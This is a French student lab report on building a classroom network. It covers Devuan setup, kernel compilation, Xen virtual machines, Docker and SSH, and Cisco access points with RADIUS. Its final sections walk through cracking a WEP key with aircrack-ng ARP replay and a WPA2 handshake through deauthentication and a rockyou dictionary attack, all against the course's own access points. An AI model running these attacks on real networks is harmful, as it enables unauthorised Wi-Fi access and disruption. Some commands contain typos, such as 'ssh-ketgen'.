TP sysres IMA2a5 2018/2019 G5
Sommaire
- 1 Introduction
- 2 Configuration des netbooks
- 3 Installation du réseau : connexion des routeurs, commutateurs, bornes WiFi et du serveur Cordouan
- 4 Mise en place du serveur
- 4.1 Préparation et configuration des machines virtuelles
- 4.1.1 Création de la machine virtuelle
- 4.1.2 Démarrage/Arrêt/Redémarrage de la machine virtuelle
- 4.1.3 Correction du bug d'affichage du message "mdadm: Duplicate MD device names...."
- 4.1.4 Adaptation de la machine virtuelle à l'architecture réseau du projet
- 4.1.5 Personnalisation des points de montage /var et /home
- 4.1.6 Installation de Docker
- 4.1.7 Installation des serveurs SSH, DNS et https
- 4.1 Préparation et configuration des machines virtuelles
- 5 Configuration des points d'accès
- 6 Crackage de la clé WEP
Introduction
Le projet a pour but de mettre en place un réseau sur 2 salles du bâtiment E de polytech constitué de 2 routeurs, 2 commutateurs, 2 bornes Wifi et un serveur. Chaque groupe dispose de machines virtuelles sur le serveur, qui permettront de constituer chacun un domaine acheté sur GANDI. Les routeurs et commutateurs seront configurés à l'aide de netbooks configurés par nos soins.
Configuration des netbooks
Présentation de Devuan GNU/Linux
Devuan (à prononcer "Dev One" à l'anglaise) est un fork de Debian lancé en novembre 2014, afin de proposer une alternative à Debian sans systemd, un paquet développé par Lennart Poettering, un développeur de chez Red Hat. Il est controversé pour les raisons suivantes :
- Son manque de respect pour la philisophie UNIX (KISS : "Keep It Simple Stupid"), le projet était au départ un simple init pour remplacer System V, puis s'est finalement vu octroyer de nombreux pouvoirs, notamment le remplacement de logind, udev et dbus
- Sa redondance avec les fonctionnalités faisant partie de l'OS et de la plupart des paquets existants, notamment la commande journalctl qui est si indispensable qu'on peut obtenir des résultats tout aussi pertinents en tapant un simple dmesg, ou un cat /var/log/CeQuiNousInteresse.log, on peut donc en conclure que des ressources supplémentaires sont consommées inutilement pour réalisée 2 fois une même tâche
- Les développeurs et mainteneurs des distributions l'utilisant (Debian, Ubuntu, Mint, Arch, etc.) tenant tant à ce paquet, ils en font une dépendance à beaucoup de paquets, l'OS devient donc vite inutilisable, ou du moins inutile sans systemd.
Ainsi, Devuan est une distribution permettant de s'affranchir de systemd, on remarquera une baisse de la consommation des ressources : pour un shell sans Xorg avec Systemd 56 MB de RAM sont consommés, 28 MB sans systemd. La dernière du nom est la version 2.0 "ASCII", basée sur Debian 9 "Stretch". Il est même possible d'effectuer une migration depuis cette dernière factilement.
Migration de Debian Stretch vers Devuan Ascii
Modification du fichier /etc/apt/sources.list :
deb [trusted=yes]http://fr.deb.devuan.org/merged ascii main contrib non-free
Lancement de la migration (à effectuer sous session root) :
#apt dist-upgrade #apt upgrade #apt purge systemd
Quelques systèmes d'exploitation UNIX-Like fonctionnant également très bien sans Systemd
Nom | Basée sur | Init |
---|---|---|
Devuan | Debian | sysv + rc |
Artix | Arch | runit ou openrc |
Slackware | indépendante | sysv + rc |
Void Linux | Indépendante | runit |
FreeBSD | Indépendante | propre à BSD |
TrueOS | FreeBSD | openrc |
Installation du système d'exploitation
Devuan est une distribution "clefs en main", très accessible aux utilisateurs qui ne sont pas familiers à Linux, tout est assisté pour simplifier au maximum l'installation. Dans notre cas, le partitionnement a été effectué manuellement, afin d'éviter que la partition de Windows soit accidentellement supprimée.
Configuration et personnalisation
L'environnement de bureau installé sur Eperlan est i3wm, une interface dite "tiling" : les fenêtres se comportent comme des tuiles et sont arrangées pour utiliser toute la surface de l'écran. L'interface consomme peu, ce qui permet d'avoir une meilleure autonomie par rapport à des interfaces plus complètes comme KDE, GNOME ou XFCE.
Personnalisation de l'environnement de bureau
Le paquet et toute sa documentation sont disponibles sur le site officiel d'i3. Installation d'i3 :
apt install i3 i3status i3lock dmenu xcompmgr slim feh
Configuration de Xorg :
X -configure
On s'assure que le fichier /root/xorg.conf.new est cohérent
Section "Device" Identifier "Card0" Driver "intel" BusID "PCI:X:Y:Z" EndSection
Avec X, Y, et Y étant les même ID que ceux affichés quand on saisit la commande
lspci | grep VGA
L'émulateur de terminal utilisé est rxvt-unicode, une version de rxvt qui prend en charge les caractères UTF-8, qu'on personnalisera. Installation de rxvt-unicode :
#apt install rxvt-unicode
Personnalisation de rxvt dans le fichier ~/.Xdefaults :
urxvt*transparent: true urxvt*shading: 20 urxvt.scrollBar: false urxvt.foreground: #cccccc urxvt.background: #111111
Installation d'un package qui permet l'affichage sur console d'un résumé du système :
apt install neofetch
Personnalisation de i3wm : modification du fichier ~/.config/i3/config
#Arrière-plan personnalisé exec feh --bg-scale /chemin/vers/limage.jpg #Modification du terminal par défaut binsym $mod+Return exec urxvt
Personnalisation du shell
Installation du Z shell
apt install zsh
Installation du greffon Oh My Zsh, un outil permettant d'exploiter au mieux toutes les capacités du shell pour lequel il a été conçu :
apt install curl apt install git sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"
Modification du fichier ~/.zshrc pour un thème plus sobre et dépourvu de tout caractère exotique :
ZSH_THEME="afowler"
Personnalisation de l'initialisateur
Runit est un initialisateur développé et maintenu par la communauté de Void Linux, c'est l'init par défaut de Void Linux, et d'Artix Linux. Il peut être installé sur Devuan comme ceci :
apt install runit runit-sysv
Il fonctionne avec 3 niveaux d'exécution, et les services pouvant être lancés au démarrage sont dans les sous-dossiers de /etc/service/ Chaque sous-dossier inclut un script exécutable appelé run, comme par exemple SDDM sous Artix Linux : /etc/service/sddm/run
#!/bin/sh set -e sv check elogind >/dev/null || exit 1 sleep 1 mkdir -p /var/lib/sddm chown -R sddm:sddm /var/lib/sddm exec sddm 2>&1
Lancement d'un service, réitérations en cas d'échec :
sv up sddm
Arrêt d'un service :
sv down sddm
Lancement d'un service, abandon en cas d'échec :
sv once sddm
Vérification de l'état d'un service :
sv status sddm
Exemple d'un service en bon état de fonctionnement :
run: sddm: (pid 1207) 373s
On constatera que le PID du processus permettant le bon fonctionnement du service ainsi que le temps depuis qu'il est en vie sont affichés Exemple d'un service non fonctionnel :
down: sddm: 2s, normally up
Recompilation du noyau
Téléchargement du code source du noyau (dernière version stable le 7/12/2018, disponible sur https://www.kernel.org ):
curl https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.19.7.tar.xz
Décompression du tarball :
tar -C /usr/src -xf linux-4.19.7.tar.xz
Installation de paquets nécessaires à la configuration et la compilation:
apt install libncurses-dev flex bison initramfs-tools libssl-dev libelf-dev
Configuration du kernel, des options de compilation, des drivers à intégrer en natif ou en modules avec un menu classique:
make menuconfig
Configuration avec une interface plus récente :
make nconfig
Récupération du fichier de configuration du kernel actuellement lancé :
zcat /proc/config.gz > /usr/src/linux-4.19.7/.config
NB : à utiliser avec précaution depuis un noyau générique, tout est intégré et la compilation peut être très longue et peut nécessiter énormément d'espace disque Compilation du noyau seulement :
make bzImage
Compilation des modules seulement :
make modules
Compilation du noyau et des modules :
make
Ou éventuellement si les ressources du PC le permettent :
make -jN
Avec N le nombre de threads à utiliser (à utiliser avec précaution, un N trop élevé peut nuire à la stabilité du système, ne pas tenter un make -j8 avec un processeur AMD-K6 et 224MB de RAM, le résultat est médiocre..) Installation du noyau et des modules
make install
Installation manuelle du noyau:
cp /usr/src/linux-4.19.7/arch/x86/boot/bzImage /boot/vmlinuz-4.19.7 update-initramfs -u -k all update-grub
NB : update-grub si et seulement si grub est le bootloader installé, pour Lilo (LInux LOader, présent par défaut sur Slackware), on modifiera manuellement le fichier /etc/lilo.conf en conséquence, puis on exécutera la commande
lilo
Pour les OS utilisant systemd-boot, on saisira la commande suivante :
apt install grub os-prober grub-install /dev/sdXi #X étant le disque amorçable et i l'éventuel index de partition
Installation des modules seulement:
make modules_install
Si la configuration est bonne, on peut espérer un démarrage correct, On pourra vérifier que tout s'est correctement passé en saisissant cette commande :
dmesg
Installation du réseau : connexion des routeurs, commutateurs, bornes WiFi et du serveur Cordouan
Mise en place du serveur
Préparation et configuration des machines virtuelles
Création de la machine virtuelle
La machine virtuelle est crée sur le serveur Cordouan :
ssh root@corouan.insecserv.deule.net
Création de la machine virtuelle :
xen-create-image --hostname=triple-karmeliet --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.devuan.org/merged/ --force
Démarrage/Arrêt/Redémarrage de la machine virtuelle
Démarrage de la machine virtuelle : xl create /etc/xen/triple-karmeliet.cfg
Accès à la machine virtuelle : xl console triple-karmeliet
On peut revenir à la machine hôte sans arrêter la MV avec la combinaison ctrl+]
Arrêt de la machine virtuelle depuis l'hôte : xl destroy triple-karmeliet
Correction du bug d'affichage du message "mdadm: Duplicate MD device names...."
La machine virtuelle fraichement créée démarre, mais après l'affichage répétitif d'un message d'erreur avant de permettre d'ouvrir une session. L'erreur peut être corrigée avec la reconstruction de l'initramfs. Petite contrainte : on n'installera rien sur le serveur par respect pour son propriétaire. Dans la machine hôte, on crée un dossier d'amorçage dans le dossier de la machine virtuelle :
cd /usr/local/xen/domains/triple-karmeliet/ mount ./disk.img /mnt cp -r /boot /mnt/boot
Dans la machine virtuelle maintenant :
update-initramfs -ut -k $(uname -r)
Si le message suivant apparaît :
The initramfs will attempt to resume from /dev/xvda2 (UUID=uuidDuSysteme) set the RESUME variable to override this
On tapera alors la commande
export RESUME="UUID=uuidDuSysteme"
Ou éventuellement avec CSH ou TCSH
setenv RESUME "UUID=uuidDuSysteme"
Puis on réitère la commande. De retour sur la machine hôte :
cp -r /mnt/boot/ /usr/local/xen/domains/triple-karmeliet/boot
Modification de /etc/xen/triple-karmeliet.cfg
kernel = '/usr/local/xen/domains/triple-karmeliet/boot/vmlinuz-4.14.0-3-amd64' ramdisk = '/usr/local/xen/domains/triple-karmeliet/boot/initrd.img-4.14.0-3-amd64'
Au redémarrage de la MV, on constate que le message d'erreur ne survient plus.
Adaptation de la machine virtuelle à l'architecture réseau du projet
Modification du fichier /etc/xen/triple-karmeliet.cfg
vif = [ 'mac=00:16:3E:A8:74:CA, bridge=IMA2A5']
Coordonnées IP statiques de la machine virtuelle sur le fichier /etc/network/interfaces
auto eth0 address 193.48.57.166 netmask 255.255.255.240 gateway 193.48.57.173 gateway 193.48.57.174
Personnalisation des points de montage /var et /home
Création de 2 volumes de 10GB sur la machine hôte :
lvcreate -L10G -n triple-karmeliet-home virtual lvcreate -L10G -n triple-karmeliet-var virtual
Formatage des volumes :
mkfs.ext4 /dev/virtual/triple-karmeliet-home mkfs.ext4 /dev/virtual/triple-karmeliet-var
Inclusion des volumes dans la machine virtuelle en modifiant /etc/xen/triple-karmeliet.cfg :
root = '/dev/xvda2 ro' disk = [ 'file:/usr/local/xen/domains/triple-karmeliet/disk.img,xvda2,w', 'file:/usr/local/xen/domains/triple-karmeliet/swap.img,xvda1,w', 'phy:/dev/virtual/triple-karmeliet-home,xvdb1,w', 'phy:/dev/virtual/triple-karmeliet-var,xvdb2,w' ]
Installation de Docker
Docker est disponible pour Debian et ses dérivés après quelques commandes :
apt install apt-transport-https ca-certificates curl gnupg2 software-properties-common curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add - apt-key fingerprint 0EBFCD88
Modification du fichier /etc/apt/sources.list
deb https://download.docker.com/linux/debian stretch stable
Installtion de docker
apt update ; apt install docker-ce
Création du service dockerd lancé au démarrage par runit :
mkdir /etc/service/dockerd
/etc/service/dockerd/run
#!/bin/sh /usr/bin/dockerd
Octroiement de l'autorisation d'exécution du fichier run chmod +x /etc/service/dockerd/run
Installation des serveurs SSH, DNS et https
Installation du serveur ssh :
apt install openssh-server
Création du service sshd lancé au démarrage par runit :
mkdir /etc/service/sshd
/etc/service/sshd/run
#!/bin/sh ssh-ketgen -A >/dev/null 2>&1 [ -r conf ] && . ./conf exec /usr/sbin/sshd -D $OPTS
Octroiement de l'autorisation d'exécution du fichier run
chmod +x /etc/service/sshd/run
Configuration des points d'accès
Dans cette partie, on dispose de deux bornes wifi a configurer, la premiére en E306 et l'autre en E304, en utilisera le server FreeRadius pour l'identification. Pour cela, voici le procédé :
1/ Acceder à la configuration de la borne wifi :
minicom -os
On modifiant ttyACM0 par exemple, avec 9600 bauds et sans control de flux.
2/ Se mettre en mode previligié :
enable // avec "Cisco" comme mot de passe.
3/ Se mettre en mode configuration :
config term
// On peut verifier également la configuration de la borne avant de la modifier, avec la commande "show run"
4/ Pour utiliser le system en 'authentication, authorization, and accounting', il faut cette commande :
aaa new-model
5/ On cree un server radius pour un utilisateur :
radius-server host < ip_groupe1 > auth-port 1812 acct-port 1813 // on remplace ip_groupe1 par l'ip du groupe (de la VM) , avec comme port d'authentification 1812,et accounting 1813
6/ On defini le server group :
aaa group server radius radius_groupe1 // on remplace groupe1 par le nom du groupe (ex: Coreff)
7/ Puis, on associe à se groupe de server le server creer sur la VM:
server <ip_group1> auth-port 1812 acct-port 1813
8/ Ensuite, on defini le login et le groupe server que l'utilisateur passera pour s'authentifier :
aaa authentication login eap_group1 group radius_group1 // groupe1 remplacé par le nom du groupe
NB : Les commandes 4 à 8, sont à faire pour chaque groupe de la promo.
9/ On arrive à la création des SSID, protégé par la méthode WPA2-EAP, on rajoutant le vlan du group :
dot11 ssid SSID_GROUP // exemple : SSID_Coreff vlan vlan_groupe1 // le vlan du groupe (ex : 2 ) authentication open eap eap_group1 authentication network-eap eap_group1 authentication key-management wpa
NB : cette derniere commande est a faire pour chaque groupe.
10/ Configurer les vlans des groupes :
interface Dot11Radio0 // on rentre d'abord dans l'interface Dot11Radio0 encryption vlan vlan_groupe mode ciphers aes-ccm tkip // Cette ligne est a faire pour chaque vlan, qui servira à chiffrer les paquets
Pour pouvoir se connecter au réseau, il faudra relier l'interfaces virtuelle à l'interface gigabites, via des 'bridge-groupe', et comme on a plusieur utilisateurs, donc il faut creer autant des sous-interfaces dot11radio0 et puis la relier
aux sous-interfaces gigabites.
11 / Creer une sous-interface pour chaque utilisateur, en donnant à l'instance le numéro du vlan :
interface dot11Radio0.num_vlan // num_vlan a remplacer par le numéro du vlan encapsulation dot1Q num_vlan bridge-groupe num_vlan
12/ Creer une sous-interface gigabite pour chaque utilisateur, en donnant à l'instance le numéro du vlan :
interface gigabite0.num_vlan encapsulation dot1Q num_vlan bridge-groupe num_vlan
13/ Ajouter les SSID à l'interface Dot11Radio0
interface Dot11Radio0 // se mettre dans la bonne interface (i.e Dot11Radio0) ssid SSID_groupe // on remplace "groupe" par le nom du groupe de la promo /* CETTE COMMANDE EST À FAIRE POUR TOUT LES SSID */
14/ rendre les SSID visibles :
interface Dot11Radio0 mbssid // Il faut rajouter l'option "mbssid" à l'interface Dot11Radio0
dot11 ssid SSID_groupe mbssid guest-mode // mettre les ssid en guest-mode pour qu'il soient visibles. /* CES COMMANDES SONT À FAIRE POUR CHAQUE SSID */
Crackage de la clé WEP
Pour cette partie, on avait un soucis avec le wifi du notebook, donc on a utilisé clé wi-pi.
Le process est assez simple, où il faut installer d'abord le package "aircrack-ng" :
apt-get install aircrack-ng
en utilisant la commande "airmon-ng", on liste les interface disponibles :
airmon-ng
On repére notre interface wlan, donc on va la démarrer :
airmon-ng start wlan0mon // le nom original est trop long pour linux, donc il a été renomé " wlan0mon"
Aprés avoir tuer les process, l'interface est prête pour le crackage.
1/ Lister les réseaux, avec des informations sur le trafic :
airodump-ng -i wlan0mon -c9 // On écoute sur le canal 9
2/ On peut simuler une association entre le eeePC et le point d'accès pour augmenter le trafic:
aireplay-ng -1 0 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:2E:DC wlan0mon // l'adresse MAc du réseau ' cracotte 06' et puis la station associé
3/ Ensuite on utilise l'attaque avec les paquets ARP :
aireplay-ng -3 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:2E:DC -e cracotte06 wlan0mon
Les arp request sont sauvegardés dans le fichier "replay_arp-1130-104715.cap" On laisse tourner cette commande sur un terminal, et on ouvre un autre terminal pour la commande suivante
4/ Cracker la clé :
aircrack-ng replay_arp-1130-104715.cap
On choisit le numéro 6 => cracotte06
Cassage du WPA2
Dans cette partie, on utilisera la méthode du dictionnaire, vu qu'elle est plus rapide que celle de la force brute.
Pour cela, on procede ainsi :
1/ Ecouter le trafic réseau et le sauvegarder dans le fichier resultat :
airodump-ng -w resultat -c9 wlan0mon // on laisse tourner cette commande dans un terminal
2/ On utilise aireplay-ng avec l'option de désauthentification, qui nous permettra de recuperer le Handshake :
aireplay-ng -0 0 -a 04:DA:D2:9C:50:50 -c 40:A5:EF:0F:68:CB wlan0mon
3/ On télécharge un dictionnaire, qui nous aidera a trouver la bonne combinaison, et une fois on a le handShake, on applique le fichier dictionnaire à aircrack-ng :
aircrack-ng -0 -w /home/pifou/Downloads/rockyou.txt resultat-03.cap // le word list dans ce cas est le fichier rockyou.txt
Et cela, peut prendre beaucoup de temps....